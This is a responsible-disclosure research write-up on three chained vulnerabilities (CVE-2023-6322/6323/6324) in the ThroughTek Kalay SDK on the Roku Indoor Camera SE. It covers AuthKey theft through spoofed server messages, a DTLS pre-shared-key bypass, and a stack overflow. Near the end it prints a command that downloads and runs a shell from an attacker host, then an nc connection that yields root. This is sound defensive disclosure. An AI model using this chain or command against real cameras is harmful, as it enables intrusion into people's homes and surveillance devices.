Vulnerabilities Identified in Roku Indoor Camera SE
May 2024 by Bitdefender
As the creator of the world’s first smart home cybersecurity hub, Bitdefender regularly audits popular IoT hardware for vulnerabilities. This research paper is part of a broader program that aims to shed light on the security of the world’s best-sellers in the IoT space. This report covers vulnerabilities discovered while researching the Roku Indoor Camera SE security camera.
NOTE: the vulnerabilities presented in this paper have been responsibly disclosed to the affected vendor. An automatic device update to firmware version xx xx fixes the issues.
Vulnerabilities at a glance
• Bitdefender researchers have identified three vulnerabilities in a communication framework called ThroughTek Kalay (TUTK). This solution is used in a variety of IoT devices, including the Roku Indoor Camera SE.
• CVE-2023-6322 allows an attacker to gain root access by exploiting a stack-based buffer overflow vulnerability in the handler of an IOCTL message that is used by the camera to set the motion detection zone.
• CVE-2023-6323 allows a local attacker to leak the AuthKey secret by impersonating the P2P cloud server used by the device.
• CVE-2023-6324 leverages a vulnerability where a local attacker can infer the pre-shared key for a DTLS session by forcing an empty buffer.
• Chained together, these vulnerabilities allow an attacker to obtain root access from the local network and fully compromise the camera.
Disclosure timeline
– Oct 19, 2023: Bitdefender sends out a contact request through the vendor’s chat support system
– Oct 26, 2023: The full report is sent to security@roku.com
– Oct 27, 2023: The Roku security team acknowledges the message and starts reviewing
– Nov 17, 2023: Bitdefender follows up for updates
– Jan 26, 2024: Vendor publishes a new update that fixes the issues
Technical walkthrough
The Roku Indoor Camera SE uses ThroughTek’s Kalay solution to communicate with clients over the Internet. This functionality is implemented through the TUTK SDK. Connections from the smartphone app to the device are all handled through this service.
To connect to the device the smartphone app needs to know a secret string called AuthKey. The device will refuse any connection that does not have the correct key. Through CVE-2023-6323 we found a way to leak this AuthKey.
First, we need to obtain the P2P ID of the device. This is straightforward, as the TUTK SDK service will listen for broadcast messages querying for devices (on port 32761), and responds with the device’s P2P ID, local IP, and UDP port on which the SDK is listening. This port is randomized at each startup and is used to communicate with the cloud servers and local clients.
Under normal circumstances the device communicates through UDP with several cloud servers. Those servers have authority over the device and can issue commands to it. Each UDP packet exchanged represents a message and contains an ID describing its type. Among these types is message 0x1008, which tells the device to connect to an alternative P2P cloud server. The SDK does not verify the authenticity of the received messages.
As we are in the same local network as the device, we can spoof a message with ID 0x1008 and make it appear as if the authoritative cloud server sent it. This message will instruct the SDK to connect to a server controlled by us and trust it as a P2P server, giving us control over the device. Before encoding, the spoofed packet looks like this:
The packet contains the P2P ID, obtained in the first step, which is redacted. The first highlighted part, hex 0x2711, specifies the target port, and 0x0A000001 is the target IP hex encoded (in this case our IP, 10.0.0.1).
Upon receiving this packet, the device initiates communication with the specified server. It begins by sending its AuthKey to the new server, which is controlled by us, using the command 0x122. In some cases, it might first ask for its public IP, as part of NAT traversal functionality, through the 0x8003 command. If we respond with 0x8004 it will then send the 0x122 packet containing the key.
In this case the AuthKey is uYTDh1JZ. This key is random for each device.
Having obtained the AuthKey, we are now one step closer to authenticating with the device.
Knowing the P2P ID and AuthKey now we can connect to the camera, but we cannot establish a DTLS session which is required to control the device. During normal operation, a client requires a secret value which is a random key used as a pre-shared key (PSK) when establishing the DTLS session.
There are two PSK identities that tell the SDK which PSK to use: AUTHPWD_ and AUTHTKN_. For each identity the handling function will retrieve their respective secret and will compute its SHA256 hash value, which will then be used as the PSK for the DTLS session. The identity is specified by the connecting client.
The code checking the requested PSK identity will leave the buffer empty if it encounters an identity that does not match any of the expected values. It will then perform the SHA256 hash on the empty buffer, resulting in a known hash value that will then be used as the PSK for the DTLS session.
This vulnerability, known as CVE-2023-6324, allows us to establish a DTLS session with the device without knowing the secret value. We simply use the same known hash value for the empty buffer as the PSK while specifying an invalid PSK identity.
Now that we have established a DTLS session, we have the same privileges as a legitimate client, and we can issue the same commands.
We have found an authenticated stack-based buffer overflow vulnerability, known as CVE-2023-6322, which allows us to gain root access.
The TUTK SDK allows vendors to integrate custom handlers for actions specific to their products. These actions are triggered through special messages called IOCTLs. Only authenticated users can send those messages. A stack-based buffer overflow vulnerability exists in the handler of IOCTL message 0x284C, which is used to set the motion detection zone.
This function copies a maximum of three chunks of data from the packet to the stack. The size of the chunk is specified by the client and the device does not check if the data fits into the slice of the buffer. In this case each slice is 178 bytes long, but the copied data can be as large as 255 bytes.
To exploit this vulnerability, we use a gadget that calls exec_shell_sync with an arbitrary string as the parameter. The string is limited to 44 characters.
Example of command that achieves code execution:
cd /tmp;wget 10.0.0.1/q;chmod +x q;./q
This command will download a TCP bind shell from 10.0.0.1:80 and run it. We then connect to the shell, obtaining root access:
# nc 10.0.0.17 4444
id; uname -a
uid=0(root) gid=0(root)
Linux WCV3 3.10.14__isvp_swan_1.0__ #5 PREEMPT Wed Mar 2 16:42:51 CST 2022 mips GNU/Linux